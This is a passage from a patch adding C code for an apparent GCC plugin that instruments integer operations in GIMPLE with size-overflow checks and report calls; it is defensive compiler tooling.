gimple_vdef(oldstmt)); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, stmt, GSI_SAME_STMT); ++ update_stmt(stmt); ++ pointer_set_insert(visited, oldstmt); ++ return gimple_get_lhs(stmt); ++} ++ ++static gimple overflow_create_phi_node(gimple oldstmt, tree result) ++{ ++ basic_block bb; ++ gimple phi; ++ gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt); ++ ++ bb = gsi_bb(gsi); ++ ++ phi = create_phi_node(result, bb); ++ gsi = gsi_last(phi_nodes(bb)); ++ gsi_remove(&gsi, false); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, phi, GSI_NEW_STMT); ++ gimple_set_bb(phi, bb); ++ gimple_set_plf(phi, MY_STMT, true); ++ return phi; ++} ++ ++static basic_block create_a_first_bb(void) ++{ ++ basic_block first_bb; ++ ++ first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR); ++ return first_bb; ++} ++ ++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i) ++{ ++ basic_block bb; ++ const_gimple newstmt; ++ gimple_stmt_iterator gsi; ++ bool before = BEFORE_STMT; ++ ++ if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) { ++ gsi = gsi_for_stmt(get_def_stmt(arg)); ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT); ++ return gimple_get_lhs(newstmt); ++ } ++ ++ bb = gimple_phi_arg_edge(oldstmt, i)->src; ++ gsi = gsi_after_labels(bb); ++ if (bb->index == 0) { ++ bb = create_a_first_bb(); ++ gsi = gsi_start_bb(bb); ++ } ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before); ++ return gimple_get_lhs(newstmt); ++} ++ ++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs) ++{ ++ gimple newstmt; ++ gimple_stmt_iterator gsi; ++ void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update); ++ gimple def_newstmt = get_def_stmt(new_rhs); ++ ++ gsi_insert = gsi_insert_after; ++ gsi = gsi_for_stmt(def_newstmt); ++ ++ switch (gimple_code(get_def_stmt(arg))) { ++ case GIMPLE_PHI: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ gsi = gsi_after_labels(gimple_bb(def_newstmt)); ++ gsi_insert = gsi_insert_before; ++ break; ++ case GIMPLE_ASM: ++ case GIMPLE_CALL: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ break; ++ case GIMPLE_ASSIGN: ++ newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt)); ++ break; ++ default: ++ /* unknown gimple_code (handle_build_new_phi_arg) */ ++ gcc_unreachable(); ++ } ++ ++ gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt)); ++ gsi_insert(&gsi, newstmt, GSI_NEW_STMT); ++ gimple_set_plf(newstmt, MY_STMT, true); ++ update_stmt(newstmt); ++ return newstmt; ++} ++ ++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var) ++{ ++ const_gimple newstmt; ++ gimple def_stmt; ++ tree new_rhs; ++ ++ new_rhs = expand(visited, arg); ++ if (new_rhs == NULL_TREE) ++ return NULL_TREE; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ if (gimple_code(def_stmt) == GIMPLE_NOP) ++ return NULL_TREE; ++ new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT); ++ ++ newstmt = handle_new_phi_arg(arg, new_var, new_rhs); ++ return gimple_get_lhs(newstmt); ++} ++ ++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result) ++{ ++ gimple phi, oldstmt = get_def_stmt(orig_result); ++ tree new_result, size_overflow_type; ++ unsigned int i; ++ unsigned int n = gimple_phi_num_args(oldstmt); ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, orig_result); ++ ++ new_result = create_new_var(size_overflow_type); ++ ++ pointer_set_insert(visited, oldstmt); ++ phi = overflow_create_phi_node(oldstmt, new_result); ++ for (i = 0; i < n; i++) { ++ tree arg, lhs; ++ ++ arg = gimple_phi_arg_def(oldstmt, i); ++ if (is_gimple_constant(arg)) ++ arg = cast_a_tree(size_overflow_type, arg); ++ lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result); ++ if (lhs == NULL_TREE) ++ lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i); ++ add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt)); ++ } ++ ++ update_stmt(phi); ++ return gimple_phi_result(phi); ++} ++ ++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(orig_rhs); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN); ++ ++ assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ return gimple_get_lhs(assign); ++} ++ ++static void change_rhs1(gimple stmt, tree new_rhs1) ++{ ++ tree assign_rhs; ++ const_tree rhs = gimple_assign_rhs1(stmt); ++ ++ assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1); ++ gimple_assign_set_rhs1(stmt, assign_rhs); ++ update_stmt(stmt); ++} ++ ++static bool check_mode_type(const_gimple stmt) ++{ ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt)); ++ enum machine_mode lhs_mode = TYPE_MODE(lhs_type); ++ enum machine_mode rhs_mode = TYPE_MODE(rhs_type); ++ ++ if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type))) ++ return false; ++ ++ return true; ++} ++ ++static bool check_undefined_integer_operation(const_gimple stmt) ++{ ++ const_gimple def_stmt; ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs1); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN) ++ return false; ++ ++ if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR) ++ return false; ++ return true; ++} ++ ++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs) ++{ ++ const_tree rhs1, lhs, rhs1_type, lhs_type; ++ enum machine_mode lhs_mode, rhs_mode; ++ gimple def_stmt = get_def_stmt(no_const_rhs); ++ ++ if (!gimple_assign_cast_p(def_stmt)) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ lhs = gimple_get_lhs(def_stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ lhs_type = TREE_TYPE(lhs); ++ rhs_mode = TYPE_MODE(rhs1_type); ++ lhs_mode = TYPE_MODE(lhs_type); ++ if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt) ++{ ++ tree size_overflow_type, lhs = gimple_get_lhs(stmt); ++ tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ new_rhs1 = expand(visited, rhs1); ++ ++ if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_plf(stmt, NO_CAST_CHECK)) ++ return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) { ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ } ++ ++ if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt)) ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ change_rhs1(stmt, new_rhs1); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ ++ rhs1 = gimple_assign_rhs1(stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type)) ++ return create_assign(visited, stmt, rhs1, AFTER_STMT); ++ ++ if (!check_mode_type(stmt)) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ size_overflow_type = get_size_overflow_type(stmt, lhs); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(def_stmt); ++ ++ if (is_gimple_constant(rhs1)) ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ gcc_assert(TREE_CODE(rhs1) != COND_EXPR); ++ switch (TREE_CODE(rhs1)) { ++ case SSA_NAME: ++ return handle_unary_rhs(visited, def_stmt); ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case ADDR_EXPR: ++ case COMPONENT_REF: ++ case INDIRECT_REF: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case PARM_DECL: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ default: ++ debug_gimple_stmt(def_stmt); ++ debug_tree(rhs1); ++ gcc_unreachable(); ++ } ++} ++ ++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value) ++{ ++ gimple cond_stmt; ++ gimple_stmt_iterator gsi = gsi_last_bb(cond_bb); ++ ++ cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE); ++ gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(cond_stmt); ++} ++ ++static tree create_string_param(tree string) ++{ ++ tree i_type, a_type; ++ const int length = TREE_STRING_LENGTH(string); ++ ++ gcc_assert(length > 0); ++ ++ i_type = build_index_type(build_int_cst(NULL_TREE, length - 1)); ++ a_type = build_array_type(char_type_node, i_type); ++ ++ TREE_TYPE(string) = a_type; ++ TREE_CONSTANT(string) = 1; ++ TREE_READONLY(string) = 1; ++ ++ return build1(ADDR_EXPR, ptr_type_node, string); ++} ++ ++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min) ++{ ++ gimple func_stmt; ++ const_gimple def_stmt; ++ const_tree loc_line; ++ tree loc_file, ssa_name, current_func; ++ expanded_location xloc; ++ char ssa_name_buf[256]; ++ gimple_stmt_iterator gsi = gsi_start_bb(bb_true); ++ ++ def_stmt = get_def_stmt(arg); ++ xloc = expand_location(gimple_location(def_stmt)); ++ ++ if (!gimple_has_location(def_stmt)) { ++ xloc = expand_location(gimple_location(stmt)); ++ if (!gimple_has_location(stmt)) ++ xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ } ++ ++ loc_line = build_int_cstu(unsigned_type_node, xloc.line); ++ ++ loc_file = build_string(strlen(xloc.file) + 1, xloc.file); ++ loc_file = create_string_param(loc_file); ++ ++ current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl)); ++ current_func = create_string_param(current_func); ++ ++ snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max"); ++ ssa_name = build_string(256, ssa_name_buf); ++ ssa_name = create_string_param(ssa_name); ++ ++ // void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name) ++ func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name); ++ ++ gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING); ++} ++ ++static void __unused print_the_code_insertions(const_gimple stmt) ++{ ++ location_t loc = gimple_location(stmt); ++ ++ inform(loc, "Integer size_overflow check applied here."); ++} ++ ++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min) ++{ ++ basic_block cond_bb, join_bb, bb_true; ++ edge e; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ ++ cond_bb = gimple_bb(stmt); ++ if (before) ++ gsi_prev(&gsi); ++ if (gsi_end_p(gsi)) ++ e = split_block_after_labels(cond_bb); ++ else ++ e = split_block(cond_bb, gsi_stmt(gsi)); ++ cond_bb = e->src; ++ join_bb = e->dest; ++ e->flags = EDGE_FALSE_VALUE; ++ e->probability = REG_BR_PROB_BASE; ++ ++ bb_true = create_empty_bb(cond_bb); ++ make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE); ++ make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE); ++ make_edge(bb_true, join_bb, EDGE_FALLTHRU); ++ ++ if (dom_info_available_p(CDI_DOMINATORS)) { ++ set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb); ++ set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb); ++ } ++ ++ if (current_loops != NULL) { ++ gcc_assert(cond_bb->loop_father == join_bb->loop_father); ++ add_bb_to_loop(bb_true, cond_bb->loop_father); ++ } ++ ++ insert_cond(cond_bb, arg, cond_code, type_value); ++ insert_cond_result(bb_true, stmt, arg, min); ++ ++// print_the_code_insertions(stmt); ++} ++ ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before) ++{ ++ const_tree rhs_type = TREE_TYPE(rhs); ++ tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min; ++ ++ gcc_assert(rhs_type != NULL_TREE); ++ if (TREE_CODE(rhs_type) == POINTER_TYPE) ++ return; ++ ++ gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE); ++ ++ type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type)); ++ type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type)); ++ ++ gcc_assert(!TREE_OVERFLOW(type_max)); ++ ++ cast_rhs_type = TREE_TYPE(cast_rhs); ++ type_max_type = TREE_TYPE(type_max); ++ type_min_type = TREE_TYPE(type_min); ++ gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type)); ++ gcc_assert(useless_type_conversion_p(type_max_type, type_min_type)); ++ ++ insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false); ++ insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true); ++} ++ ++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs) ++{ ++ gimple change_rhs_def_stmt; ++ tree lhs = gimple_get_lhs(def_stmt); ++ tree lhs_type = TREE_TYPE(lhs); ++ tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt)); ++ tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt)); ++ ++ if (change_rhs == NULL_TREE) ++ return get_size_overflow_type(def_stmt, lhs); ++ ++ change_rhs_def_stmt = get_def_stmt(change_rhs); ++ ++ if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) { ++ debug_gimple_stmt(def_stmt); ++ gcc_unreachable(); ++ } ++ ++ return get_size_overflow_type(def_stmt, lhs); ++} ++ ++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs) ++{ ++ if (gimple_assign_rhs_code(stmt) == MIN_EXPR) ++ return false; ++ if (!is_gimple_constant(rhs)) ++ return false; ++ return true; ++} ++ ++static tree get_cast_def_stmt_rhs(const_tree new_rhs) ++{ ++ gimple def_stmt; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ // get_size_overflow_type ++ if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode)) ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ return gimple_assign_rhs1(def_stmt); ++} ++ ++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs) ++{ ++ gimple_stmt_iterator gsi; ++ const_gimple cast_stmt; ++ gimple def_stmt; ++ enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ ++ if (mode != TImode && mode != DImode) { ++ def_stmt = get_def_stmt(new_rhs); ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ new_rhs = gimple_assign_rhs1(def_stmt); ++ mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ } ++ ++ gcc_assert(mode == TImode || mode == DImode); ++ ++ if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node)) ++ return new_rhs; ++ ++ gsi = gsi_for_stmt(stmt); ++ cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ new_rhs = gimple_get_lhs(cast_stmt); ++ ++ if (mode == DImode) ++ return new_rhs; ++ ++ check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT); ++ ++ return new_rhs; ++} ++ ++static bool is_an_integer_trunction(const_gimple stmt) ++{ ++ gimple rhs1_def_stmt, rhs2_def_stmt; ++ const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1; ++ enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode; ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs2 = gimple_assign_rhs2(stmt); ++ enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1)); ++ enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2)); ++ ++ if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2)) ++ return false; ++ ++ gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME); ++ ++ if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode) ++ return false; ++ ++ rhs1_def_stmt = get_def_stmt(rhs1); ++ rhs2_def_stmt = get_def_stmt(rhs2); ++ if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt)) ++ return false; ++ ++ rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt); ++ rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt); ++ rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1)); ++ rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1)); ++ if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode) ++ return false; ++ ++ gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true); ++ gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true); ++ return true; ++} ++ ++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs) ++{ ++ tree new_rhs1, new_rhs2; ++ tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs; ++ tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type; ++ gimple assign, stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ ++ if (!is_an_integer_trunction(stmt)) ++ return NULL_TREE; ++ ++ new_rhs1 = expand(visited, rhs1); ++ new_rhs2 = expand(visited, rhs2); ++ ++ new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1); ++ new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2); ++ ++ new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1); ++ ++ if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) { ++ new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1); ++ } ++ ++ assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1); ++ new_lhs = gimple_get_lhs(assign); ++ check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT); ++ ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs) ++{ ++ const_gimple def_stmt; ++ ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return false; ++ ++ if (gimple_assign_rhs_code(stmt) != PLUS_EXPR) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2) ++{ ++ tree new_rhs, size_overflow_type, orig_rhs; ++ void (*gimple_assign_set_rhs)(gimple, tree); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ tree lhs = gimple_get_lhs(stmt); ++ ++ if (change_rhs == NULL_TREE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (new_rhs2 == NULL_TREE) { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1); ++ new_rhs2 = cast_a_tree(size_overflow_type, rhs2); ++ orig_rhs = rhs1; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs1; ++ } else { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2); ++ new_rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ orig_rhs = rhs2; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs2; ++ } ++ ++ change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT); ++ ++ if (check_overflow) ++ check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT); ++ ++ new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs); ++ gimple_assign_set_rhs(stmt, new_rhs); ++ update_stmt(stmt); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, new_lhs; ++ gimple def_stmt = get_def_stmt(lhs); ++ tree new_rhs1 = NULL_TREE; ++ tree new_rhs2 = NULL_TREE; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ ++ /* no DImode/TImode division in the 32/64 bit kernel */ ++ switch (gimple_assign_rhs_code(def_stmt)) { ++ case RDIV_EXPR: ++ case TRUNC_DIV_EXPR: ++ case CEIL_DIV_EXPR: ++ case FLOOR_DIV_EXPR: ++ case ROUND_DIV_EXPR: ++ case TRUNC_MOD_EXPR: ++ case CEIL_MOD_EXPR: ++ case FLOOR_MOD_EXPR: ++ case ROUND_MOD_EXPR: ++ case EXACT_DIV_EXPR: ++ case POINTER_PLUS_EXPR: ++ case BIT_AND_EXPR: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ default: ++ break; ++ } ++ ++ new_lhs = handle_integer_truncation(visited, lhs); ++ if (new_lhs != NULL_TREE) ++ return new_lhs; ++ ++ if (TREE_CODE(rhs1) == SSA_NAME) ++ new_rhs1 = expand(visited, rhs1); ++ if (TREE_CODE(rhs2) == SSA_NAME) ++ new_rhs2 = expand(visited, rhs2); ++ ++ if (is_a_neg_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_neg_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ if (is_a_constant_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_constant_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++#if BUILDING_GCC_VERSION >= 4007 ++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs) ++{ ++ if (is_gimple_constant(rhs)) ++ return cast_a_tree(size_overflow_type, rhs); ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return NULL_TREE; ++ return expand(visited, rhs); ++} ++ ++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type; ++ gimple def_stmt = get_def_stmt(lhs); ++ ++ size_overflow_type = get_size_overflow_type(def_stmt, lhs); ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs3 = gimple_assign_rhs3(def_stmt); ++ new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1); ++ new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2); ++ new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3); ++} ++#endif ++ ++static tree get_size_overflow_type(gimple stmt, const_tree node) ++{ ++ const_tree type; ++ ++ gcc_assert(node != NULL_TREE); ++ ++ type = TREE_TYPE(node); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return TREE_TYPE(node); ++ ++ switch (TYPE_MODE(type)) { ++ case QImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node; ++ case HImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node; ++ case SImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ case DImode: ++ if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode)) ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node; ++ default: ++ debug_tree((tree)node); ++ error("%s: unsupported gcc configuration.", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static tree expand_visited(gimple def_stmt) ++{ ++ const_gimple next_stmt; ++ gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt); ++ ++ gsi_next(&gsi); ++ next_stmt = gsi_stmt(gsi); ++ ++ gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT)); ++ ++ switch (gimple_code(next_stmt)) { ++ case GIMPLE_ASSIGN: ++ return gimple_get_lhs(next_stmt); ++ case GIMPLE_PHI: ++ return gimple_phi_result(next_stmt); ++ case GIMPLE_CALL: ++ return gimple_call_lhs(next_stmt); ++ default: ++ return NULL_TREE; ++ } ++} ++ ++static tree expand(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt; ++ enum tree_code code = TREE_CODE(TREE_TYPE(lhs)); 